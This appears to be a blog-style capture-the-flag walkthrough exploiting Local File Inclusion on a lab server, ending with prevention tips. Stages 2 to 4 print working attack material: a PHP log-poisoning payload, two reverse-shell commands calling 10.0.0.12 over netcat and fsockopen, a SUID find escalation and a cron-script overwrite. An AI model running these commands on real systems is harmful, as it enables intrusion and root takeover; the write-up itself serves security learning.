The error message blinked innocently: Warning: include(../uploads/user_notes.txt): failed to open stream
. That The /../
The sequence triggered my hacker senses. "What if," I wondered, "I could make it open anything?" Twenty minutes later, I owned the server. Here's how I exploited Local File Inclusion (LFI) to gain shell access in a recent CTF challenge.
Disclaimer: This walkthrough uses a deliberately vulnerable CTF box (VulnServer 3.2). Never test on unauthorized systems.
Stage 1: Discovering the Vulnerability
Target URL: https://ctf-server/view.php?note=user_notes.txt
Suspicious Parameter: note
Step 1: Basic Path Traversal Test
GET /view.php?note=../../../../etc/passwd HTTP/1.1
Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# ... system users listed!
Goldmine! The server wasn't sanitizing input.
Stage 2: Enabling Remote Code Execution
LFI alone can't execute code. We need to combine it with other techniques:
Step 2: Log Poisoning via User-Agent
- Poison Apache logs with PHP code:
curl -A "<?php system(\$_GET['cmd']); ?>" \
https://ctf-server/view.php?note=user_notes.txt
2. Confirm poisoning:
GET /view.php?note=../../../../var/log/apache2/access.log HTTP/1.1
Response Excerpt:
10.0.2.4 - - [23/Aug/2024:14:33:12] "GET /view.php HTTP/1.1" 200 452
"<?php system($_GET['cmd']); ?>"
Stage 3: Gaining Initial Foothold
Step 3: Execute Commands via Poisoned Logs
GET /view.php?note=../../../../var/log/apache2/access.log&cmd=id HTTP/1.1
Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We have command execution!
Step 4: Fetch a Reverse Shell
- Start listener:
nc -nvlp 4444
2. Trigger reverse shell:
GET /view.php?note=../../../../var/log/apache2/access.log&cmd=php+-r+'$sock%3dfsockopen("10.0.0.12",4444)%3bexec("/bin/sh+-i+<%263+>%263+2>%263")%3b' HTTP/1.1
Shell Access:
$ nc -nvlp 4444
Connection received!
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Stage 4: Privilege Escalation
Step 5: Explore the System
$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/find
/usr/bin/python3.8
# ... SUID binaries!
$ cat /etc/crontab
*/5 * * * * root /opt/backups/compress_logs.sh
Step 6: Exploit SUID Binary
$ /usr/bin/find . -exec /bin/sh -p \; -quit
# whoami
root
Alternative method via cron job:
$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.12 5555 >/tmp/f" > /opt/backups/compress_logs.sh
# Wait 5 minutes for cron to execute
Stage 5: Capturing the Flag
# cd /root
# ls
flag.txt scripts
# cat flag.txt
CTF{LFI_2_RCE_MASTERCLASS_2024}
Total Time: 37 minutes Key Vulnerabilities Exploited:
- Unsanitized user input (LFI)
- World-readable Apache logs
- SUID misconfiguration
- Weak cron job permissions
How to Prevent This Attack
- Sanitize User Input
$allowed = ['notes.txt','tasks.txt'];
if(!in_array($_GET['note'], $allowed)) { die("Invalid file!"); }
2. Log Safeguards
- Store logs outside web root
- Set strict permissions:
chmod 640 /var/log/apache2
3. SUID Hardening
find / -type f -perm /4000 -exec chmod u-s {} \; # Remove unnecessary SUID
4. Cron Job Restrictions
- Avoid root cron jobs
- Use absolute paths in scripts
"LFI is a gateway drug to full compromise. Never trust user-controlled file paths." My penetration testing journal after 3 real-world findings
Want the Vulnerable Lab Setup? Follow me for "Building a Safe Home Hacking Lab: Step-by-Step Guide"